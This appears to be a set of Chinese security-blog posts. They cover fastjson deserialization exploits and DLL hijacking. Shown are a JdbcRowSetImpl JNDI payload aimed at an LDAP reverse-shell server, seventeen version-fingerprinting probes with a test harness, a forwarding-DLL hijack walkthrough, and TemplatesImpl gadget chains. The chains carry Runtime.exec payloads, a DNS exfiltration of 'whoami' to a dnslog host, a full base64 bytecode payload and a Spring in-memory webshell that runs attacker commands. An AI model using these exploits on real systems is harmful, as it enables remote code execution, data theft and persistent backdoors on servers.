        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"ldap://10.56.10.12:1389/Basic/ReverseShell/10.56.10.12/80",
        "autoCommit":true
    }
}

0x00 概述

使用常见的payload对fastjson版本进行测试，方便遇到fastjson进行较小范围的版本判断，使用bypass字符绕过等等

0x01 背景

测试过程中，会遇到很多json进行传输的站点，有jackson、fastjson等等，但是这些当中，有漏洞的概率最大的还是fastjson。

0x02 测试具体方法

用pom把所有版本的fastjson下载了，然后在fastjson文件夹下执行这个命令，把fastjson固定在一个文件内，通过反射装载jar，调用完以后卸载

find . -name "*.jar" -type f -exec cp  {} /Users/f0ng/xxxxxx/ \;

调用fastjson包的原理为使用反射获取请求里传来的版本参数，从而动态调用相应版本的fastjson进行解析，解析完毕以后自动卸载，测试涵盖fastjson1所有版本

测试版本如下：

1_2_83
1_2_80
1_2_79
1_2_78
1_2_77
1_2_76
1_2_75
1_2_74
1_2_73
1_2_72
1_2_71
1_2_70
1_2_69
1_2_68
1_2_67
1_2_66
1_2_62
1_2_61
1_2_60
1_2_59
1_2_58
1_2_57
1_2_56
1_2_55
1_2_54
1_2_53
1_2_52
1_2_51
1_2_50
1_2_49
1_2_48
1_2_47
1_2_46
1_2_45
1_2_44
1_2_43
1_2_42
1_2_41
1_2_40
1_2_39
1_2_38
1_2_37
1_2_36
1_2_35
1_2_34
1_2_33
1_2_32
1_2_31
1_2_30
1_2_29
1_2_28
1_2_27
1_2_26
1_2_25
1_2_24
1_2_23
1_2_22
1_2_21
1_2_20
1_2_19
1_2_18
1_2_17
1_2_16
1_2_15
1_2_14
1_2_13
1_2_12
1_2_11
1_2_10
1_2_9
1_2_8
1_2_7
1_2_6
1_2_5
1_2_4
1_2_3
1_2_2
1_2_1

python脚本如下

# -*- coding: utf-8 -*-

fastjosn_version = ["1_2_83",  
"1_2_80",  
"1_2_79",  
"1_2_78",  
"1_2_77",  
"1_2_76",  
"1_2_75",  
"1_2_74",  
"1_2_73",  
"1_2_72",  
"1_2_71",  
"1_2_70",  
"1_2_69",  
"1_2_68",  
"1_2_67",  
"1_2_66",  
"1_2_62",  
"1_2_61",  
"1_2_60",  
"1_2_59",  
"1_2_58",  
"1_2_57",  
"1_2_56",  
"1_2_55",  
"1_2_54",  
"1_2_53",  
"1_2_52",  
"1_2_51",  
"1_2_50",  
"1_2_49",  
"1_2_48",  
"1_2_47",  
"1_2_46",  
"1_2_45",  
"1_2_44",  
"1_2_43",  
"1_2_42",  
"1_2_41",  
"1_2_40",  
"1_2_39",  
"1_2_38",  
"1_2_37",  
"1_2_36",  
"1_2_35",  
"1_2_34",  
"1_2_33",  
"1_2_32",  
"1_2_31",  
"1_2_30",  
"1_2_29",  
"1_2_28",  
"1_2_27",  
"1_2_26",  
"1_2_25",  
"1_2_24",  
"1_2_23",  
"1_2_22",  
"1_2_21",  
"1_2_20",  
"1_2_19",  
"1_2_18",  
"1_2_17",  
"1_2_16",  
"1_2_15",  
"1_2_14",  
"1_2_13",  
"1_2_12",  
"1_2_11",  
"1_2_10",  
"1_2_9",  
"1_2_8",  
"1_2_7",  
"1_2_6",  
"1_2_5",  
"1_2_4",  
"1_2_3",  
"1_2_2",  
"1_2_1"]  
  
import requests  
  
def convert_to_ranges(versions):  
    ranges = []  
    start = end = versions[0]  
  
    for v in versions[1:] + [None]:  
        # 将版本号字符串转换为数字列表  
        parts = list(map(int, v.split('_'))) if v is not None else None  
        end_parts = list(map(int, end.split('_')))  
  
        # 检查版本是否连续  
        if parts is not None and parts[0] == end_parts[0] \  
           and parts[1] == end_parts[1] and parts[2] == end_parts[2] - 1:  
            end = v  
        else:  
            # 如果只有一个版本，只添加这个版本  
            if start == end:  
                ranges.append(start)  
            else:  
                ranges.append(f"{end}-{start}")  
            if v is not None:  
                start = end = v  
    return ranges  
  
  
  
burp0_url = "https://callback.red:443/"  
burp0_headers = {"Pragma": "no-cache", "Cache-Control": "no-cache", "Sec-Ch-Ua": "\"Not A(Brand\";v=\"99\", \"Google Chrome\";v=\"121\", \"Chromium\";v=\"121\"", "Sec-Ch-Ua-Platform": "\"macOS\"", "Sec-Ch-Ua-Mobile": "?0", "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36", "Content-Type": "application/x-www-form-urlencoded", "Accept": "*/*", "Origin": "https://www.callback.red", "Sec-Fetch-Site": "same-site", "Sec-Fetch-Mode": "cors", "Sec-Fetch-Dest": "empty", "Referer": "https://www.callback.red/", "Accept-Encoding": "gzip, deflate, br", "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8", "Connection": "close"}  
  
burp0_data = {"key":  
                  "xxxxxxxxx"}  
resp = requests.post(burp0_url, headers=burp0_headers, data=burp0_data)  
  
  
total = []  
for _ in fastjosn_version:  
    if  _.replace(".","_")+"." not in resp.text :  
        total.append(_)  
  
  
if len(total) > 0:  
    # 调用函数并打印结果  
    version_ranges = convert_to_ranges(total)  
else:  
    version_ranges = "无"  
print("不可用版本")  
print(version_ranges)

主要流程

将fastjson的payload准备好，动态加载参数version设置为变量，payload的dnslog设置为变量，字典为版本号，进行intruder爆破
在dnslog平台查看相应的版本号，如果没有相应的版本，则表示相应版本无法使用payload进行dnslog获取

jsp源码如下

<%@ page import="java.io.InputStreamReader" %>  
<%@ page import="java.io.BufferedReader" %>  
<%@ page import="java.lang.reflect.Field" %>  
<%@ page import="java.net.URL" %>  
<%@ page import="java.net.URLClassLoader" %>  
<%@ page import="java.lang.reflect.Method" %>  
  
<%@ page contentType="text/html;charset=UTF-8" language="java" %>  
<%--测试fastjson各个版本payload、bypass字符--%>  
<%  
      // JAR文件的路径  
      URL jarUrl = new URL("file:///Users/f0ng/fastjsonjars/fastjson-"+request.getParameter("version").replace("_",".")+".jar");  
// 父类加载器，可以用当前线程的类加载器等  
      ClassLoader parentClassLoader = Thread.currentThread().getContextClassLoader();  
// 创建URLClassLoader实例以加载JAR  
      URLClassLoader classLoader = new URLClassLoader(new URL[]{jarUrl}, parentClassLoader);  
  
      Class var8 = classLoader.loadClass("com.alibaba.fastjson.JSONArray");  
      Field var9 = var8.getField("VERSION");  
      String var10 = (String)var9.get("");  
  
  
      response.setHeader("version",var10);  
  
      BufferedReader br = new BufferedReader(new InputStreamReader((ServletInputStream) request.getInputStream(), "utf-8"));  
  
      StringBuffer sb = new StringBuffer("");  
      String temp;  
  
      while ((temp = br.readLine()) != null) {  
            sb.append(temp);  
      }  
  
      br.close();  
      String params = sb.toString();  
  
 out.print(params);  
 Class var81 = classLoader.loadClass("com.alibaba.fastjson.JSON");  
 Method parseMethod = var81.getMethod("parse", String.class);  
 Object result = parseMethod.invoke(null, params);  
 classLoader.close();  
%>

dnslog的payload流程如上，其他类型，如报错、回显这种也类似

测试的时候，在响应头可以看到相应的fastjson版本

在响应平台获取到相应记录

0x03 判断版本payload

测试的一切payload均采用fastjson的默认配置，本次测试只用到了com.alibaba.fastjson.JSON.parse()函数

payload 1(dns请求)【fastjson>=1.2.37】

{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"http://§1§.{{URL}}"}}""}

经测试，可用范围1.2.37-1.2.83，即fastjson版本>=1.2.37

payload 2(dns请求)【fastjson>=1.2.37】

{{"@type":"java.net.URL","val":"http://§1§.{{URL}}"}:0

经测试，可用范围1.2.37-1.2.83，即fastjson版本>=1.2.37

payload 3(dns请求)【fastjson>=1.2.9】

Set[{"@type":"java.net.URL","val":"http://§1§.{{URL}}"}]

经测试，可用范围1.2.9-1.2.83，即fastjson版本>=1.2.9

payload 4(dns请求)【fastjson>=1.2.9】

Set[{"@type":"java.net.URL","val":"http://§1§.{{URL}}"}

经测试，可用范围1.2.9-1.2.83，即fastjson版本>=1.2.9

payload 5(dns请求)【1.2.9<=fastjson<=1.2.47】

{"name":{"@type":"java.net.InetAddress","val":"§1§.{{URL}}"}}

经测试，可用范围1.2.47以下，1.2.9以上，即1.2.9<=fastjson版本<=1.2.47

payload 6(dns请求)【fastjson>=1.2.9】

[{"@type":"java.net.InetSocketAddress"{"address":,"val":"§1§.{{URL}}"}}]

经测试，可用范围1.2.9以上，即fastjson版本>=1.2.9

payload 7(http请求)【1.2.37<=fastjson<=1.2.68】

{"a":{"@type":"java.lang.AutoCloseable","@type":"com.alibaba.fastjson.JSONReader","reader":{"@type":"jdk.nashorn.api.scripting.URLReader","url":"http://§1§.{{URL}}"}}}

经测试，可用范围1.2.68以下，1.2.37以上，即1.2.37<=fastjson版本<=1.2.68

payload 8(dns请求)【fastjson>=1.2.9以及fastjson=1.2.83】

[{"@type":"java.lang.Exception","@type":"com.alibaba.fastjson.JSONException","x":{"@type":"java.net.InetSocketAddress"{"address":,"val":"§1§.80.{{URL}}"}}},{"@type":"java.lang.Exception","@type":"com.alibaba.fastjson.JSONException","message":{"@type":"java.net.InetSocketAddress"{"address":,"val":"§1§.83.{{URL}}"}}}]

经测试，带有83的dnslog记录只会在fastjson 1.2.83中出现

带有80的dnslog记录，可用范围1.2.9以上

payload 9(dns请求)【1.2.9<=fastjson<=1.2.68】

[{"@type": "java.lang.AutoCloseable","@type": "java.io.ByteArrayOutputStream"},{"@type": "java.io.ByteArrayOutputStream"},{"@type": "java.net.InetSocketAddress"{"address":,"val": "§1§.{{URL}}"}}]

经测试，可用范围1.2.9以上，1.2.68以下，即1.2.9<=fastjson版本<=1.2.68

payload 10(dns请求)【1.2.9<=fastjson<=1.2.47】

{"@type":"java.net.InetAddress","val":"§1§.{{URL}}"}

经测试，可用范围1.2.9以上，1.2.47以下，即1.2.9<=fastjson版本<=1.2.47

payload 11(dns请求)【fastjson>=1.2.9】

单独的两条

{"@type":"java.net.Inet4Address","val":"§1§.{{URL}}"}

{"@type":"java.net.Inet6Address","val":"§1§.{{URL}}"}

经测试，可用范围1.2.9以上，即fastjson版本>=1.2.9

payload 12(dns请求)【fastjson>=1.2.9】

{"@type":"java.net.InetSocketAddress"{"address":,"val":"§1§.{{URL}}"}}

经测试，可用范围1.2.9以上，即fastjson版本>=1.2.9

payload 13(dns请求)【1.2.9<=fastjson<=1.2.24以及1.2.40<=fastjson<=1.2.47】

[{"@type":"java.lang.Class","val":"java.io.ByteArrayOutputStream"},{"@type":"java.io.ByteArrayOutputStream"},{"@type":"java.net.InetSocketAddress"{"address":,"val":"§1§.{{URL}}"}}]

经测试，可用范围1.2.9以上，1.2.24以下或者1.2.40以上，1.2.47以下，即1.2.9<=fastjson版本<=1.2.24或者1.2.40<=fastjson版本<=1.2.47

payload 14(报错)【fastjson<=1.2.24以及fastjson=1.2.83】

{"page":{"pageNumber":1,"pageSize":1,"zero":{"@type":"java.lang.Exception","@type":"org.XxException"}}}

经测试，在fastjson<=1.2.24以及fastjson=1.2.83的时候不会报错，其余均报错

payload 15(报错)【fastjson<=1.2.68】

{"page":{"pageNumber":1,"pageSize":1,"zero":{"@type":"java.lang.AutoCloseable","@type":"java.io.ByteArrayOutputStream"}}}

经测试，在fastjson<=1.2.68的时候不会报错，其余均报错

payload 16(报错) 【1.2.9<=fastjson<=1.2.47】

{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl"}}

经测试，在1.2.9<=fastjson<=1.2.47的时候不会报错，其余均报错

payload 17(报错) 【fastjson<=1.2.47】

{"zero": {"@type": "com.sun.rowset.JdbcRowSetImpl"}}

经测试，在fastjson<=1.2.47的时候不会报错，其余均报错

C/C++ 通过中转函数实现DLL劫持

Tue, 15 Apr 2025 17:08:00 GMT

C_C＋通过中转函数实现DLL劫持

当我们运行程序时，一般情况下会默认加载Ntdll.dll和Kernel32.dll这两个链接库，在进程未被创建之前Ntdll.dll库就被默认加载了，三环下任何对其劫持都是无效的，除了该Dll外，其他的Dll都是在程序运行时，在输入表中查找到对应关系后才会被装载到内存中的，理论上来说对除NtDll以外的其他库都是可操作的。

而DLL的装载是存在先后顺序的，当系统开机时smss.exe会将系统中常用的DLL缓存到注册表计算机\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs中的位置上，我们可以跳转过去看看里面存放的内容，都是一些常用的函数库。

当指定DLL需要加载时，系统会首先查询该表中是否存在有缓存数据，如果有则就直接调用NtMapViewOfSection函数将其映射到特定进程的内存中，如果没有则就需要根据如下顺序动态的查找。

先查找，正在加载DLL进程的可执行目录。

查找系统的system32目录下是否存在。

查找，正在加载DLL进程的当前目录。

Path环境变量中的定义。

这里就先来演示一下简单的Dll劫持，首先我们必须指定要劫持的Dll文件，将其中的导出函数全部导出来，导出的输入表项目只能比原来的多，不能少，导出的方式有很多，比如可以使用AheadLib等工具，快速生成利用代码，通常可用于劫持的DLL有 lpk.dll,version.dll 等系统DLL，当前程序的第三方DLL同样可以，本教程并不适用AheadLib工具，而是使用GenEAT.exe工具：

1.先来创建一个DLL并导出两个函数，然后创建主程序动态的加载这个DLL。

lyshark.cpp 编译生成为DLL

#include <Windows.h>

extern "C" int __declspec(dllexport)add(int x, int y)
{
	return x + y;
}

extern "C" int __declspec(dllexport)sub(int x, int y)
{
	return x - y;
}

extern "C" int __declspec(dllexport)mul(int x, int y)
{
	return x * y;
}

extern "C" int __declspec(dllexport)divs(int x, int y)
{
	return x / y;
}

BOOL APIENTRY DllMain(HANDLE handle, DWORD dword, LPVOID lpvoid)
{

	return true;
}

编译后使用上次制作的PETools工具，执行命令PETools c://lyshark.dll --ShowExport 可看到其导出的函数。

编译main.cpp 动态加载函数，将lyshark.dll放入同一个目录下即可，程序运行后会动态调用DLL中的导出函数。

#include <stdio.h>
#include <Windows.h>

typedef int(*lpAdd)(int, int);
typedef int(*lpSub)(int, int);
typedef int(*lpMul)(int, int);
typedef int(*lpDiv)(int, int);

int main(int argc, char *argv[])
{
	HINSTANCE DllAddr;
	lpAdd addFun;

	DllAddr = LoadLibrary(L"lyshark.dll");

	addFun = (lpAdd)GetProcAddress(DllAddr, "add");
	if (NULL != addFun)
	{
		int res = addFun(100, 200);
		printf("结果: %d \n", res);
	}

	FreeLibrary(DllAddr);
	system("pause");
	return 0;
}

下面就来实现函数转发功能，当程序访问原DLL时直接将请求转发到我们自己的DLL中，我们的DLL再将请求转发到真实的DLL上面，使用本节课的小工具可以快速构建转发函数表，执行如下命令即可：GenEAT.exe -d c://lyshark.dll -c inject.cpp -n Lok

默认会生成如下样子，直接在里面加上一个弹窗，然后编译DLL。

将生成的Dll改名为lyshark.dll把原来的lyshark.dll改为lok.dll

当再次打开时，会先加载弹窗，然后才会完成计算功能，也算是中转成功了。

你可以对其导出函数进行Hook转向，读取参数啥的都没问题，自由发挥吧。

Fastjson不出网利用总结

Tue, 15 Apr 2025 16:30:00 GMT

Fastjson不出网利用总结

简单使用方法如下：

String text = "{\"name\":\"aaa\",\"age\":\"19\"}";

//序列化
String text = JSON.toJSONString(obj);
//反序列化
Object ob = JSON.parse(); //解析为JSONObject类型或者JSONArray类型
Object ob1 = JSON.parseObject("{...}"); //JSON文本解析成JSONObject类型
Object ob2 = JSON.parseObject("{...}", VO.class); //JSON文本解析成VO.class类

POC的演变过程

编写一个User类

package com.exmple;

public class User {
    private String name;
    private int age;

    public User() {
        System.out.println("调用空参构造");
    }
    public User(String name, int age) {
        System.out.println("调用形参构造");
        this.name = name;
        this.age = age;
    }
    public String getName() {
        System.out.println("调用getName()");
        return name;
    }
    public void setName(String name) {
        System.out.println("调用setName()");
        this.name = name;
    }
    public int getAge() {
        System.out.println("调用getAge()");
        return age;
    }
    public void setAge(int age) {
        System.out.println("调用setAge()");
        this.age = age;
    }
    @Override
    public String toString() {
        return "User{" +
                "name='" + name + '\'' +
                ", age=" + age +
                '}';
    }
}

假设没有fastjson，我们想要序列化一个数据应该怎么写

User user = new User("lisi",20);
System.out.println(user);

// User{name='lisi', age=20}

使用序列化

User user = new User("lisi", 20);
String serializedStr = JSON.toJSONString(user);
System.out.println(serializedStr);

通过parse方法进行反序列化

User user = new User("lisi", 20);
String serializedStr = JSON.toJSONString(user);
Object obj1 = JSON.parse(serializedStr);
System.out.println("parse反序列化对象名称:"+obj1.getClass().getName());
System.out.println("parse反序列化："+obj1);

通过parseObject进行反序列化，不指定类

User user = new User("lisi", 20);
String serializedStr = JSON.toJSONString(user);
Object obj2 = JSON.parseObject(serializedStr);
System.out.println("parseObject反序列化对象名称:"+obj2.getClass().getName());
System.out.println("parseObject反序列化:"+obj2);

通过parseObject,指定类

User user = new User("lisi", 20);
String serializedStr = JSON.toJSONString(user);
Object obj3 = JSON.parseObject(serializedStr,User.class);
System.out.println("parseObject反序列化对象名称:"+obj3.getClass().getName());
System.out.println("parseObject反序列化:"+obj3);

返回结果可知：parseObject("",class) 会识别并调用目标类的特定 setter 方法及某些特定条件的 getter 方法

JSON.toJSONString存在3个重载方法，使用toJSONString(Object object, SerializerFeature... features)方法

User user = new User("lisi",12);
//不写User.class 让它自己去调用
String serializedStr1 = JSON.toJSONString(user,SerializerFeature.WriteClassName); 
System.out.println(serializedStr1);

发现输出中存在"@type":"com.exmple.User"，对其反序列化

User user = new User("lisi",20);
String serializedStr = JSON.toJSONString(user);
String serializedStr1 = JSON.toJSONString(user, SerializerFeature.WriteClassName);
System.out.println(JSON.parse(serializedStr).getClass().toString());
System.out.println(JSON.parseObject(serializedStr1).getClass().toString());

由此得出结论：不指定@type不会调用构造方法和setter 指定@type时，parse只会调用构造方法和特定setter，而parseObject会额外调用getter

最终fastjosn的poc的如下：

{"@type":"java.net.InetAddress","val":"example.com"}

面试必问，fastjson不出网利用

TemplatesImpl利用连

版本 1.2.24 苛刻条件：

服务端使用parseObject()时，必须使用如下格式才能触发漏洞： JSON.parseObject(input, Object.class, Feature.SupportNonPublicField);
服务端使用parse()时，需要 JSON.parse(text1,Feature.SupportNonPublicField) 这是因为com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl需要赋值的一些属性为private 属性，要满足private属性的数据。所以比较苛刻，完全凭运气。

创建恶意类

package com.exmple;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;

public class Shell extends AbstractTranslet{
    public static void main(String[] args) {
        try {
            Runtime.getRuntime().exec("open -a calculator");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws
            TransletException {
    }
    @Override
    public void transform(DOM document, DTMAxisIterator iterator,
                          SerializationHandler handler) throws TransletException {
    }
}

base64加密

package com.exmple;

import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.util.Base64;

public class FiletoBase64 {
    public static String FiletoBase64(String filename) throws IOException {
        File file = new File(filename);
        FileInputStream io = new FileInputStream(file);
        ByteArrayOutputStream os = new ByteArrayOutputStream();
        byte[] buf = new byte[10240];
        int len;
        while ((len = io.read(buf)) > 0) {
            os.write(buf, 0, len);
        }
        io.close();
        String s = Base64.getEncoder().encodeToString(os.toByteArray());
        return s;
    }
}

主类

package com.exmple;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.Feature;

import java.io.IOException;

public class Demo {
    public static void main(String[] args) {

        String shell = null;
        try {
            shell = FiletoBase64.filetoBase64("/Users/ajie/Desktop/fastjson/target/classes/com/exmple/Shell.class");
        } catch (IOException e) {
            e.printStackTrace();
        }
        String payload1 = " {\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\""+shell+"\"],\"_name\":\"a.b\",\"_tfactory\":{},\"_outputProperties\":{ },\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}";
        System.out.println(payload1);
        JSONObject obj = JSON.parseObject(payload1, Feature.SupportNonPublicField);
        System.out.println(obj);
    }
}

如何让它有回显？ dnslog外带，网站目录写文件/静态资源（需要知道网站路径）这一种就是利用dnslog获取数据

package com.exmple;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;

public class Shell extends AbstractTranslet{
    public static void main(String[] args) {
        try {
            Runtime.getRuntime().exec("ping `whoami`.xxxxxx.dnslog.cn");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws
            TransletException {
    }
    @Override
    public void transform(DOM document, DTMAxisIterator iterator,
                          SerializationHandler handler) throws TransletException {
    }
}

第二种就是对静态资源写入内容，这种就像shiro攻击，他会把回显的内容写入到首页下的任意数字开头的js里

假设已经知道网站路径，拼接路径 /var/java_vuln_code-master/src/main/resources/static/js/consoleinfo.js

package com.exmple;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;

public class Shell extends AbstractTranslet{
    public Shell() {
        try {
            Runtime.getRuntime().exec("whoami >> /var/java_vuln_code-master/src/main/resources/static/js/consoleinfo.js");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    }
    @Override
    public void transform(DOM document, DTMAxisIterator iterator,
                          SerializationHandler handler) throws TransletException {
    }

}

转换字节码class文件，并base64加密

{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQANAoACAAkCgAlACYIACcKACUAKAcAKQoABQAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9pby9JT0V4Y2VwdGlvbjsBAAR0aGlzAQASTGNvbS9leG1wbGUvU2hlbGw7AQANU3RhY2tNYXBUYWJsZQcAKwcAKQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAtAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApTb3VyY2VGaWxlAQAKU2hlbGwuamF2YQwACQAKBwAuDAAvADABAFF3aG9hbWkgPj4gL3Jvb3QvamF2YV92dWxuX2NvZGUtbWFzdGVyL3NyYy9tYWluL3Jlc291cmNlcy9zdGF0aWMvanMvY29uc29sZWluZm8uanMMADEAMgEAE2phdmEvaW8vSU9FeGNlcHRpb24MADMACgEAEGNvbS9leG1wbGUvU2hlbGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAD3ByaW50U3RhY2tUcmFjZQAhAAcACAAAAAAAAwABAAkACgABAAsAAAB8AAIAAgAAABYqtwABuAACEgO2AARXpwAITCu2AAaxAAEABAANABAABQADAAwAAAAaAAYAAAALAAQADQANABAAEAAOABEADwAVABEADQAAABYAAgARAAQADgAPAAEAAAAWABAAEQAAABIAAAAQAAL/ABAAAQcAEwABBwAUBAABABUAFgACAAsAAAA/AAAAAwAAAAGxAAAAAgAMAAAABgABAAAAFAANAAAAIAADAAAAAQAQABEAAAAAAAEAFwAYAAEAAAABABkAGgACABsAAAAEAAEAHAABABUAHQACAAsAAABJAAAABAAAAAGxAAAAAgAMAAAABgABAAAAGAANAAAAKgAEAAAAAQAQABEAAAAAAAEAFwAYAAEAAAABAB4AHwACAAAAAQAgACEAAwAbAAAABAABABwAAQAiAAAAAgAj"],"_name":"a.b","_tfactory":{},"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}

TemplatesImpl内存马

搭建spring框架的内存马

pom.xml

<dependency>
  <groupId>org.springframework</groupId>
  <artifactId>spring-web</artifactId>
  <version>5.1.9.RELEASE</version>
</dependency>
<dependency>
  <groupId>javax.servlet</groupId>
  <artifactId>javax.servlet-api</artifactId>
  <version>4.0.1</version>
</dependency>
<dependency>
  <groupId>org.springframework</groupId>
  <artifactId>spring-webmvc</artifactId>
  <version>5.0.14.RELEASE</version>
</dependency>
package com.exmple;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.PrintWriter;
import java.lang.reflect.Method;

//回显spring Controller内存马

public class TemplatesImplSpringController extends AbstractTranslet {
    public TemplatesImplSpringController() throws Exception{
        super();
        WebApplicationContext context = (WebApplicationContext) RequestContextHolder.
                currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);

        RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
        Method method = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping").getDeclaredMethod("getMappingRegistry");
        method.setAccessible(true);
        Method method2 = TemplatesImplSpringController.class.getMethod("test");
        PatternsRequestCondition url = new PatternsRequestCondition("/shell");
        RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
        RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
        TemplatesImplSpringController inject = new TemplatesImplSpringController("aaa");
        mappingHandlerMapping.registerMapping(info, inject, method2);

    }
    public TemplatesImplSpringController(String aaa) {

    }
    public void test() throws Exception {
        HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
        HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();

        try {
            String arg0 = request.getParameter("cmd");
            PrintWriter writer = response.getWriter();
            if (arg0 != null) {
                String o = "";
                java.lang.ProcessBuilder p;
                if (System.getProperty("os.name").toLowerCase().contains("win")) {
                    p = new java.lang.ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});
                } else {
                    p = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});
                }
                java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
                o = c.hasNext() ? c.next() : o;
                c.close();
                writer.write(o);
                writer.flush();
                writer.close();
            } else {
                response.sendError(404);
            }
        } catch (Exception e) {
        }
    }
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }

    public static void main(String[] args) {
        try {
            new TemplatesImplSpringController();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
